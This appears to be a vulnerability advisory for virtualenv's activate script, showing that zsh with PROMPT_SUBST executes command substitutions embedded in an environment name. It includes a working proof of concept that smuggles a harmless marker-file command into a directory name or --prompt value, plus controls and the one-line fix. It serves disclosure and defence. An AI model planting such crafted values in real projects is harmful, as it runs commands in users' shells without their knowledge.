Summary
Virtual environments created by virtualenv ship a bin/activate script that is
sourced by both bash and zsh. When sourced, the script puts the environment name
— basename $VIRTUAL_ENV, or the value passed via --prompt — into the shell
prompt. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in
that value, but the escaping block is guarded by [ -n "${BASH_VERSION-}" ]: bash
gets the escaped value, zsh gets the raw one. zsh with setopt PROMPT_SUBST
performs parameter expansion, command substitution and arithmetic expansion on the
prompt every time it is drawn, so an environment whose name is
x$(touch PWNED)y runs touch PWNED as soon as the prompt is redrawn after
source bin/activate.
Verified end-to-end on 21.14.3 (the latest release at the time of reporting) and
on 21.9.1, in real interactive zsh sessions, with controls for bash, for zsh
without PROMPT_SUBST, and with a simulated fix. Reported privately; advisory
GHSA-5vjq-rrrf-7h2q
was published and the fix released in 21.14.4 the same day.
Background
activate is not two scripts — it is one POSIX-shell script shared by bash and zsh
(--activators bash emits it; zsh users source it directly). At the end of sourcing
it, if VIRTUAL_ENV_DISABLE_PROMPT is unset, the script prepends the environment
name to PS1:
VIRTUAL_ENV_PROMPTdefaults tobasename "$VIRTUAL_ENV", i.e. the directory name a user chose when creating the environment;virtualenv --prompt VALUEsets it explicitly.- Under bash, the value is re-expanded by the prompt machinery on each redraw (the
\u,\$, backslash-escape semantics ofPS1). Under zsh, expansion is off by default — unlessPROMPT_SUBSTis set, in which case zsh treats the prompt string as subject to parameter expansion, command substitution and arithmetic expansion at every draw.
PROMPT_SUBST is opt-in, but it is the standard way to build a dynamic zsh prompt:
most theme frameworks, and zsh prompt snippets going back decades, require it, and
virtualenvwrapper’s own tips page
tells zsh users to setopt PROMPT_SUBST when overriding the venv prompt. On macOS —
where zsh is the default login shell — it is extremely common.
This is the same class the project had already been fixing in its activator scripts:
GHSA-p58f-9548-mpm2 (CVE-2026-102925), GHSA-c947-3pg5-gm8q, and
GHSA-8rjx-v5ww-45pp all concern caller-supplied values changing the meaning of a
generated activate, and the project’s SECURITY.md scope explicitly covers
“caller-supplied values changing the meaning of a generated script”. The
21.13.0 hardening (PR #3326) was the fix for the bash prompt case; this report is
about the shell it skipped.
The vulnerability
Generated bin/activate, virtualenv 21.14.3, lines 129–139:
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] ; then
_OLD_VIRTUAL_PS1="${PS1-}"
_VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT}"
# bash re-expands backslashes, dollar signs and backticks in PS1 on every redraw; the guard keeps the
# bash-only substitution away from POSIX shells such as dash, which reject it with "Bad substitution"
if [ -n "${BASH_VERSION-}" ]; then
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\\/\\\\}"
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
fi
PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
unset _VIRTUAL_PROMPT
fi
The escaping exists precisely because bash redraws expand the prompt — but its
guard limits the guarantee to BASH_VERSION. zsh takes the unescaped branch and
stores the raw value in PS1, where PROMPT_SUBST turns it back into live shell
syntax on every draw. The changelog entry for #3326 states the intent under that
restriction: the values “no longer run as a command each time bash draws the
prompt”.
zsh supports the same ${var//pattern/replacement} construct used in the block, so
the fix does not need a new mechanism — it is a one-token extension to the guard
condition (see The fix below); the comment’s concern about dash (“reject it with
Bad substitution”) is preserved because dash defines neither BASH_VERSION nor
ZSH_VERSION.
It is not a one-shot: the substitution happens again each time zsh draws the prompt, so every redraw after activation re-executes the payload.
Proof of concept
Tested on Kali (kernel 6.19), zsh 5.9, bash 5.3.9, Python 3.13.12, virtualenv
21.14.3 from PyPI. The payload is x$(touch PWNED_ZSH)y; the marker file
PWNED_ZSH is what distinguishes “executed” from “displayed as text”.
Interactive — payload in the environment directory name
$ python3 -m virtualenv --activators bash 'x$(touch PWNED_ZSH)y'
Then, in zsh:
% setopt prompt_subst
% source 'x$(touch PWNED_ZSH)y/bin/activate'
% echo $VIRTUAL_ENV_PROMPT
x$(touch PWNED_ZSH)y
Raw transcript of the interactive session (pty capture, prompt drawn right after
source):
kali% setopt prompt_subst
kali% source .../act_e1.sh
(xy) kali% echo FINAL_DONE
FINAL_DONE
(xy) kali%
The drawn prompt shows (xy) — the command substitution collapsed the payload
into an empty string — and the marker exists:
$ ls -l PWNED_ZSH
-rw-r--r-- 1 kali kali 0 ... PWNED_ZSH
Same payload via --prompt
Identical behavior when the value rides --prompt instead of the directory name
(normal directory name, payload passed by e.g. wrapper tooling):
$ python3 -m virtualenv --activators bash --prompt 'x$(touch PWNED_ZSH)y' env
% source env/bin/activate # marker created, prompt shows (xy)
Minimal, non-tty reproduction
$ zsh -f -c 'setopt prompt_subst; source act_e1.sh; print -P "$PS1"'
(xy)
# PWNED_ZSH created: True
Controls
The same activate script, same payload, three ways — only the
zsh+PROMPT_SUBST combination executes:
| Scenario | Prompt shows | Marker |
|---|---|---|
zsh + PROMPT_SUBST (E1/E2) |
(xy) — payload collapsed |
created |
bash -i, same script |
literal (x$(touch PWNED_ZSH)y) |
absent |
zsh without PROMPT_SUBST |
literal (x$(touch PWNED_ZSH)y) |
absent |
zsh + PROMPT_SUBST, simulated fix (E5) |
literal (x$(touch PWNED_ZSH)y) |
absent |
Raw control transcript (bash):
bash-5.3$ source .../act_e3.sh
(x$(touch PWNED_ZSH)y) bash-5.3$ echo FINAL_DONE
FINAL_DONE
Impact
- Arbitrary command execution in the user’s interactive zsh session, as the user, on every prompt draw — the same one-line payload as the bash case the project previously fixed, in the shell that was missed.
- Delivery matches the same threat model the project already accepted for this
script class: environment directory names come from unpacked archives, cloned
repositories, branch/CI job names, or
--promptvalues chosen by wrapper tools; a user who sources the generatedactivatein zsh withPROMPT_SUBSTruns the embedded command without any further interaction. - Preconditions are user-side (zsh +
PROMPT_SUBST) and treat it exactly as the fish case inGHSA-c947-3pg5-gm8qtreats its shell-specific behavior — zsh is the default shell on macOS, andPROMPT_SUBSTis what dynamic-prompt setups require, so the affected population is large in practice.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — High (7.8), the same vector
the project used for the recent activator advisories in this family.
The fix
Extend the existing guard so the escaping also runs under zsh (verified locally — same script, zsh payload inert, value renders literally):
- if [ -n "${BASH_VERSION-}" ]; then
+ if [ -n "${BASH_VERSION-}${ZSH_VERSION-}" ]; then
dash (and other POSIX shells without the construct) keep taking the safe branch, exactly as the guard’s comment intends.
The fix landed upstream the same day and main now carries exactly this guard:
if [ -n "${BASH_VERSION-}${ZSH_VERSION-}" ]; then
It was developed in the advisory’s private fork (so it has no public pull request
of its own), merged to main, and shipped in
21.14.4 — released the
same day as the report. PR #3373
adds the changelog entry that names the advisory and credits the reporter, and
21.14.4 also shows a % in the environment name as typed under zsh. Upgrade to
21.14.4 or later.
Testing note: zsh has no faithful equivalent of bash’s ${PS1@P} expansion check,
and print -P is not a safe stand-in for a real prompt draw on the escaped form
— the reliable tests are (a) drive an interactive zsh over a pty, or (b) assert the
escaped text is present in PS1 after sourcing. For older versions:
rename/unpack untrusted environments to safe directory names, don’t pass untrusted
--prompt values, or keep PROMPT_SUBST off for shells in which untrusted
environments are activated.
Timeline
- 2026-10-02 — Reported to the maintainers via GitHub private vulnerability reporting (PVR).
- 2026-10-02 — Fix merged to
main(via the advisory’s private fork) and released in 21.14.4; changelog entry added in PR #3373. - 2026-10-02 — Advisory GHSA-5vjq-rrrf-7h2q published (same day as the report).
Disclosure
Public advisory: GHSA-5vjq-rrrf-7h2q
(no CVE assigned). Affects virtualenv <= 21.14.3; fixed in
21.14.4.
Related advisories for the same class in the same script family: GHSA-p58f-9548-mpm2 (CVE-2026-102925), GHSA-c947-3pg5-gm8q, GHSA-8rjx-v5ww-45pp. The bash-side hardening this builds on: PR #3326.